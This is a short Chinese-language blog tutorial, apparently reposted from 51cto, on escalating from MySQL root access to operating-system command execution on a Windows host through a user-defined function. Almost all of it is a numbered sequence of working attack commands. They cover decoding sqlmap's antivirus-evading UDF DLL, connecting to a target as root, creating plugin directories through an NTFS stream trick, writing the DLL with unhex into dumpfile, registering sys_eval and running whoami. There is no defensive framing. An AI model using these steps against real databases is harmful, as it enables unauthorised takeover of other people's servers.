MySQL UDF提权获取主机控制权

本文详细介绍如何通过MySQL的UDF特性实现权限提升的过程。包括使用sqlmap获取UDF DLL文件、与目标MySQL建立连接、查看MySQL版本及安装路径、在MySQL安装目录下创建DLL文件并注册函数,最终实现执行系统命令。

UDF(User defined function)是MySQL的一个拓展接口,用来扩展MySQL的功能。在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权。下面以windows主机为例,给出具体的步骤:

1、python clock.py -d -i lib_mysqludfsys.dll

此步是获取***用的UDF dll。首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll。(sqlmap对其进行编码是为了免杀)

2、mysql -h target_ip -uroot -p

与目标MySQL建立连接

3、select version();

查看MySQL版本

4、select @@basedir;

查看MySQL的安装目录。假设为 c:\program files\mysql\mysql server 5.1

5、select @@plugin_dir;

查看MySQL的插件目录。假设为c:\program files\mysql\mysql server 5.1\plugin

6、select 'it is dll' into dumpfile 'c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION';

创建lib目录

7、select 'it is dll' into dumpfile 'c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION';

创建plugin目录

8、select unhex('hex_of_udf.dll') into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";

创建udf.dll,上述命令中hex_of_udf.dll是udf.dll的十六进制文本,可用winhex等编辑软件获得

9、create function sys_eval returns string soname 'udf.dll';

创建函数

10、select sys_eval('whoami');

执行shell命令,表明以获取操作系统的控制权

转载于:https://blog.51cto.com/watertoeast/2068563

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值